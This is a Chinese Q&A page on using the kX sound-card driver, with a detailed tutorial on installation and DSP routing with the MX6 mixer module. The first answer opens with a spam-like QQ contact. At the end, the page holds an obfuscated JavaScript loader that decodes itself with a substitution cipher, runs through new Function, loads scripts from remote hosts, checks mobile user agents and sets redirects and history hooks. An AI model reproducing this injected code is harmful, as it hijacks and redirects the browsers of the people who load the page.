KX驱动怎么用

2025-02-27 23:23:23
推荐回答(2个)
回答1:

安装不是很简单的 安装好了还要连线 如果没有玩过这个驱动 很难连接好。如果你要安装可以找我 我的QQ是 854667570 答案密码666666

SB LIVE!系列可能是全世界卖的最好的娱乐声卡了。它使用与E-MU APS专业声卡相同的主芯片EMU10k1。可是,他的原厂驱动根本没有发挥EMU10k1芯片强大的运算能力!以来自俄罗斯的发烧友Eugene Gavrilov、Max Mikhailov和Hanz Petrov为首,与世界各地的一些编程高手组成了一个驱动开发小组,开始了针对EMU10k1芯片的研究。这些高手们终于为使用SB Live声卡来制作音乐的无产阶级音乐制作人编写出了一个专门用来进行电脑音乐制作的专业驱动——这就是kX驱动。kX驱动以其专业的性能和强大的插件功能,已经被越来越多的人所接受。kX驱动不但支持使用EMU10k1芯片的SB-LIVE系列声卡,而且支持使用EMU10k2的Audigy系列声卡,支持Windows 98SE, Windows Me, Windows 2000和 Windows XP操作系统。从此,创新SB Live可以完全支持低延迟达到10.66ms甚至是惊人的2.66ms的16通道ASIO(Audigy上是32通道),支持GSIF(也就是可以用GigaStudio了),音效插件模块化,优化的DX接口,图形化的DSP模块操作,软件界面多语言支持,软件界面支持皮肤更换——也就是说,你的SB LIVE!已经脱胎换骨成为了“专业音频卡”了!我们可以用一个便宜的SB LIVE!声卡也可以使用CUBASE SX,Nuendo等等必须使用ASIO的专业音频软件。也可以使用最经典的软件采样器GIGASTUDIO。甚至已经有“第三方”的软件高手开发了KX驱动下的吉他效果器插件TubeDrive!音色一般,但是仔细调节一下觉得还挺有意思!但它不占用CPU资源,完全是实时的!对演奏延迟感觉敏感的人,非常有帮助!

需要注意的是:现在市场上卖得很多的“特惠版”的Live!卡是装不了KX驱动的。还有,Audigy的话,只有Audigy豪华版可以装KX。Audigy2装不了。

KX驱动的安装

好了,现在开始安装kX驱动。首先到KX驱动开发小组的主页下载最新的KX3538驱动。或者点击这里直接下载。

在安装之前,要确保系统中已经卸载了创新原厂的驱动其他版本声卡驱动,否则会造成冲突或无法安装!一定要卸载干净,卸载后,那个创新的文件夹也要手工删除掉。建议大家最好连WINXP系统自带的LIVE驱动也删除掉,以保证让声卡彻底“忘掉”她自己曾经是创新Live。具体的做法:进入WINXP系统安装目录下的INF目录(如C:\WINNT\Inf或者C:\WINDOWS\Inf,INF目录为系统隐藏目录,一般情况下不会直接看到INF目录,需要在“我的电脑”的“工具”菜单下选“文件夹选项”来修改才能看到。)找到INF目录下wdma10k1.inf文件,将此文件删除!另外,卸载原厂驱动并删掉此文件后,在还没有装KX之前,不要上网,否则系统会再次从微软升级网站下载微软为LIVE设计的驱动。

重新启动电脑,系统将提示找到新硬件的对话框。不要管它,直接双击KX驱动的安装文件。如果是安装于WIN2000和WINXP系统,则不需要装Microsoft Windows 98SE Quick Fix for AC-3 playback”(快速修复AC-3回放功能)。“kX Project SDK”项是kX驱动开发工具包,如果不进行kX驱动的开发,就没必要选择它。安装完成后会自动搜索到你的声卡型号并安装驱动程序。

在完成所有的步骤后,重启电脑,完成kX驱动的安装。这时,我们会发现在系统任务栏中有一个kX图标,右击该图标会打开“kX Manager”的功能项目菜单,包括kX混音器、kX DSP、kX路由器、Speaker test等。打开音频属性看看,Live的标记已经没有了。也就是说,从现在开始,你的声卡不再是SB LIVE!了,而是一块全新的——KX专业音频卡!!

深入开发KX驱动

但是问题来了!安装KX驱动以后发现KX默认的界面实在是太混乱!搞了半天居然没有声音!更无法录音!极度郁闷!这个KX驱动的默认界面是想要针对所有的用户的所有用途而设计。既然我们用这个“KX专业音频卡”来做“专业”录音。那么能不能为这种专业应用对KX驱动进行优化呢?于是我直接从KX驱动的核心内容——KX DSP软跳线入手,彻底搞定KX驱动!并且不再被KX原有的界面牵着走,重新建立了用于“专业录音”DSP连线模式!实现了完全基于DSP的“听湿录干”,演员独立的监听返送,各个驱动间的直接连接录音等功能,而且思路比较清晰明了,操作方便!希望此文能够让大家在使用KX驱动录音的时候更加明白一些!呵呵!

我先来介绍一下KX复杂的界面与DSP模块之间的关系。

KX驱动最重要的特点在于它采用模块化的设计!所有的功能模块都有自己的输入输出端口,就像真的硬件系统一样。我们需要把这些虚拟的功能模块用“虚拟导线”连接起来才能完成相应的功能。这就使KX驱动的应用极为灵活!个人认为这可能是借鉴了德国CREAMWARE公司的SCOPE平台软件的设计思想。
首先我们打开KX驱动的DSP窗口!如下图,按这个按钮:

现在我们看到的就是KX驱动的默认DSP连线状态。

DSP连线状态

乱七八糟的!这么多连线就像看电路板!谁知道这个东西怎么用?!?!?不要着急,我们只要了解了这几个模块的功能,就可以理解这些连线了!下面我们分别了解KX默认界面中主要的的四个主要模块,prolog,eplog,FXbus和xrouting。只要搞清楚这些模块的功能,就可以破解这些连线的秘密了!

首先看prolog和eplog模块。

在英文中prolog和eplog的意思是前奏和尾声。他们分别代表了SB LIVE!上的所有物理端口和部分逻辑端口,等等!什么是物理端口?什么又是逻辑端口呢?所谓物理端口,就是真实地我们看得见摸得着的各种输入输出口!这些我们在音频卡上都可以看到!比如线路输入输出口,话筒接口等等!而逻辑端口包括各种我们看不见的驱动程序的输入输出口——MME,ASIO输入输出端口!prolog包括SBLIVE!上的所有物理输入接口和一个需要被选择的AC97输入端口(在AC97控制界面中选择,这个后面会详细介绍)。eplog则包含SBLIVE!上的所有物理输出接口和所有的ASIO输入端口。有点乱!没错!就是因为乱,我们才被搞得晕头转向!这两个模块反映到KX的界面,实际上就是那个“Ins `n` Outs”部分!上面是输出控制,下面是输入控制!

“Ins `n` Outs”部分

明白了么?不明白没关系!因为这两个模块设计太烂,我们最后将会抛弃他们,用更好的模块去替代!

FXbus模块实际上是KX驱动最重要的内容——KX 路由!它的用途是为各种驱动输出端口分配一个逻辑端口!也就是说。ASIO,MME,WDM,GSIF的输出是不能直接显示在KX驱动中的!需要把他们指定到相应的FXbus上才能工作!

在KX驱动中,MME,ASIO逻辑端口必须分配到FXbus中才可以获得“真实的”端口。FXbus一共有16条总线,也就是说我们可以把MME和ASIO输出口分别通过这16条FXbus输出(Audigy的FXBusX模块有32条FXBus输出)。SB LIVE!内置的合成器音源也要通过他来分配端口。在FXbus的默认设置中,MME的输出口通过FXbus0、1实现,ASIO1、2通过FXbus2、3实现,SB LIVE!内置的合成器音源通过FXbus4、5实现!另外还有AC3的输出端口也是通过FXbus实现的!在KX驱动中,GSIF驱动的输出与MME,WDM都是共享的!

在下面这张图中显示,在KX驱动默认状态,Wave 0/1(也就是MME0/1,WDM0/1,还有GSIF0/1)它们的输出是通过FXBus0/1来实现。在这张图中,显示Wave 0/1是从FXbus0/1端口输出,同时,他也可以被发送到FXbus13/14上。

而ASIO0/1是通过FXBus2/3输出的!如图:

而对于以前SB LIVE!的两个内建的SOUNDFONT音源则是通过FXBus4/5输出的。甚至,你可以分别指定每一个MIDI通道都有自己的声音输出!这个功能十分有用,也就是说,你能同时分轨对16个MIDI声部同时录音!!!这能极大的提高效率!!!如下图:

FXbus模块非常重要!没有它就无法让KX驱动发出任何声音。他是KX的核心内容!

现在,有了prolog,eplog和FXbus三个模块,我们实际上已经可以录音和监听了——直接把相关端口连接起来就可以了!

例如,实现从AC97线路输入口到ASIO程序的直接监听录音

现在我们可以录音了!但是放音的时候还要重新调整线路!这肯定是不行的!我们如果有一个调音台来混音,能够监听和选择录音来源就好了。那么,我们还有一个xrouting模块是不是可以完成这个调音台的任务呢!

关于xrouting模块

很遗憾!本人认为这个是KX驱动默认界面最大的败笔!xrouting本来想成为一个“想要把所有的信号都输入进来的”超级调音台,它对应的KX驱动界面就是所谓的“录音”部分。但是因为它并没有给所有的端口分配控制,因此让人搞不明白!我被这个“录音”部分搞得糊里糊涂!而且这个3538 Beta版驱动好像还有BUG,即使我将所有的推子推起仍然无法对AC97线路端口录音,我更改了他的连线才实现录音功能!这个xrouting模块设计实在不怎么样!更可恶xrouting模块的录音输出混合了所有的声音,我们需要的和不需要的声音都被录音!信号质量严重下降!

返过头来我们再看那些效果器的连线就更乱了!完全没有实现我们用KX驱动的根本目的——给我们这些专业人士作“专业”录音!难道没有办法了么?嘿嘿!我们的俄罗斯发明家们早已经为我们想好了!他们准备好了一些专业的模块,只等着我们将它们连接起来,配置一个专业的KX工作模式!让KX驱动真正位无产阶级音乐家们服务!

全面改进KX驱动的默认工作模式

首先,我们要保留了FXbus模块,如果你用Audigy,那么可以把FXBus模块换成FXBusX模块获得32通道的FXBus!

然后我扔掉KX驱动默认的其他所有模块!什么prolog、eplog,当然还有xrouting模块!然后我们在DSP界面内点击右键,添加以下几个模块,分别是:Src模块(物理输入端口选择),k1lt模块(物理输出端口,MME的逻辑输入端口包含在这里),ASIO模块(ASIO逻辑输入端口)。还有一个MX6模块(12路调音台!12路输入,1立体声母线,2编组,2辅助)!这几个模块分别替代了以前prolog,eplog和xrouting模块的作用!

其中Src物理输入端口模块替代了prolog模块!它通过一个下拉菜单实现物理端口录音源的选择!如下图。

可是我这样只能选择一个立体声录音源啊!没关系,我们可以同时添加多个Src模块!考虑到对于SB LIVE!数码版音频卡只有那个线路输入口还算有点儿意义,有2个通道输入我已经知足!用Audigy的朋友可用端口可以更多,但是请注意,AC97录音端口是要在AC97界面里进行选择的!如图8!注意AC97界面中下面的那几个输入源一定要选择为“静音”,而“Gain”推子下面的开关则一定要打开!如下图。

k1lt物理输出端口模块替代了原来eplog的部分功能!如下图。

怎么样!这个一目了然吧!需要注意的是MME的逻辑输入端口包含在k1lt模块里!也就是说如果我们要用COOLEDIT录音就要把音频信号连接到k1lt的13和14端口上!当然你也可以自由更换位置,因为k1lt物理输出端口是可以任意调换的!这简直太方便了!

这个ASIO输入端口能够完成16通道的ASIO输入连接!如下图。

需要注意的是,KX驱动并不同事都打开这些ASIO端口,需要到KX ASIO设置窗口打开这些ASIO端口!为了不过多地占用资源,我们一般选择有2进2出的ASIO端口就可以了!,如下图。

现在,输入输出端口都已经齐备!我们需要用MX6模块将这些模块连接起来!用它要替代那个失败的xrouting模块工作!

我们先看看MX6模块和MX6调音台。

MX6调音台

12个红色输入端分别对应调音台IN1到IN6的6个推子。8个蓝色的输出端口从上至下分别是立体声MIX母线,Rec立体声录音编组母线,立体声AUX1和立体声AUX2!每个通道都有3个开关分别是[R]—发送到Rec立体声录音编组母线,[M]—发送到立体声MIX母线,[E]通道开关,必须打开他才能激活通道。每个通道的S1推子和S2推子是分别控制发送给立体声AUX辅助1和立体声AUX辅助2的音量。[RECMON]开关用于对Rec立体声录音编组母线监听。电平表默认监视立体声MIX母线。当按下[Vu= REC]开关时则监视Rec立体声录音编组母线的电平。

下面我们将充分利用这个MX6,按照“专业录音”的要求连接一个DSP!请看下图(下载这个KXPRO1的KX设置文件,导入即可看到这个界面了)

下面我们以MX6为中心连接所有的输入输出和效果器等设备。

先提一下KX连线的基本规则。蓝色的端口都是代表输出。而红色端口代表输入。一个输出端口可以连接多个输入端口,而一个输入端口只能有一个输出端!我们首先看输入部分的连线。

调音台输入1/2连接到,这是。调音台输入3/4连接到FXBus2/3。这是ASIO逻辑输出指定的端口

FXBus4/5,也就是SB LIVE!合成器的输出端口连接到调音台的输入5/6,Src物理输入端口连接到调音台输入7/8,调音台剩下的两对立体声输入口9/10和11/12分别被混响和延时效果器的效果返回占用。这样,对应到MX6的调音台界面上:

IN1——FxBus0/1,MME输出信号
IN2——FXBus2/3,ASIO输出
IN3——FXBus4/5,SB LIVE!合成器的输出
IN4——Src物理输入源
IN5,IN6——混响和延时效果器的效果返回
再看输出。考虑到MX6没有MIX总输出控制。我让MIX母线通过一个St Vol立体声衰减后再进入到k1lt指定的物理输出端口连接监听音箱。REC录音编组母线同时输出给MME和ASIO逻辑输入端口,实现录音功能。而MX6的辅助1则同时发送给混响和延时效果器——只要控制效果器的返回量就可以控制效果强度!最后辅助2发送给演员的耳机放大器共演员监听!我们可以完全设定一个独立的混音给演员!这个很重要!因为我们就可以利用[RECMON]开关实现对声源的独奏监听而不影响演员的监听。Peak模块用于监视Src物理输入端口的信号输入电平。

这样,我们就可以像用真实的调音台一样来使用这个MX6调音台了,虽然它是虚拟的!

这是一个用ASIO程序录音的例子,设置调音台,实现完全基于DSP的“听湿录干”,演员独立的监听返送。

MX6调音台的应用还可以很方便地实现的对不同的驱动程序间的录音。我们知道IN1的信号来自电脑KX驱动FX BUS1,FX BUS1是传输WINDOWS MME驱动的输出,GIGASTUDIO 的GSIF驱动输出也是通过FX BUS1,而IN2的信号来自FX BUS2 的ASIO的输出。根据我们的连接,MX6的Rec BUS的信号则直接进入到ASIO IN和Windows的MME IN录音输入端。这样当我想要用CUBASE 的ASIO输入直接对MME或者GSIF输出的信号进行录音,只需点开IN1的通道上面那个[R]开关即可!需要注意的是不要打开录音软件上的直接监听,否则可能会形成信号环路产生反馈啸叫。还要注意同时要关闭其他通道的[R]开关,否则你会得到各种驱动的声音和AC97线路口输入声音甚至效果信号的混合物,那就没意思了!

怎么样!大家明白了?如果感兴趣大家可以到本期光盘上找到这个实例的KX设置文件。导入即可!

回过头来再看KX的默认界面!哈哈面目全非,很多项目都空了!我们再也不用看KX晦涩难懂的默认界面了!需要注意的是“主要”和“AC97”界面仍然起作用!

回答2:

如下图,按这个按钮: 现在我们看到的就是KX驱动的默认DSP连线状态。 DSP连线状态 乱七八糟的!这么多连线就像看电路板!谁知道这个东西怎么用?!?!?

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();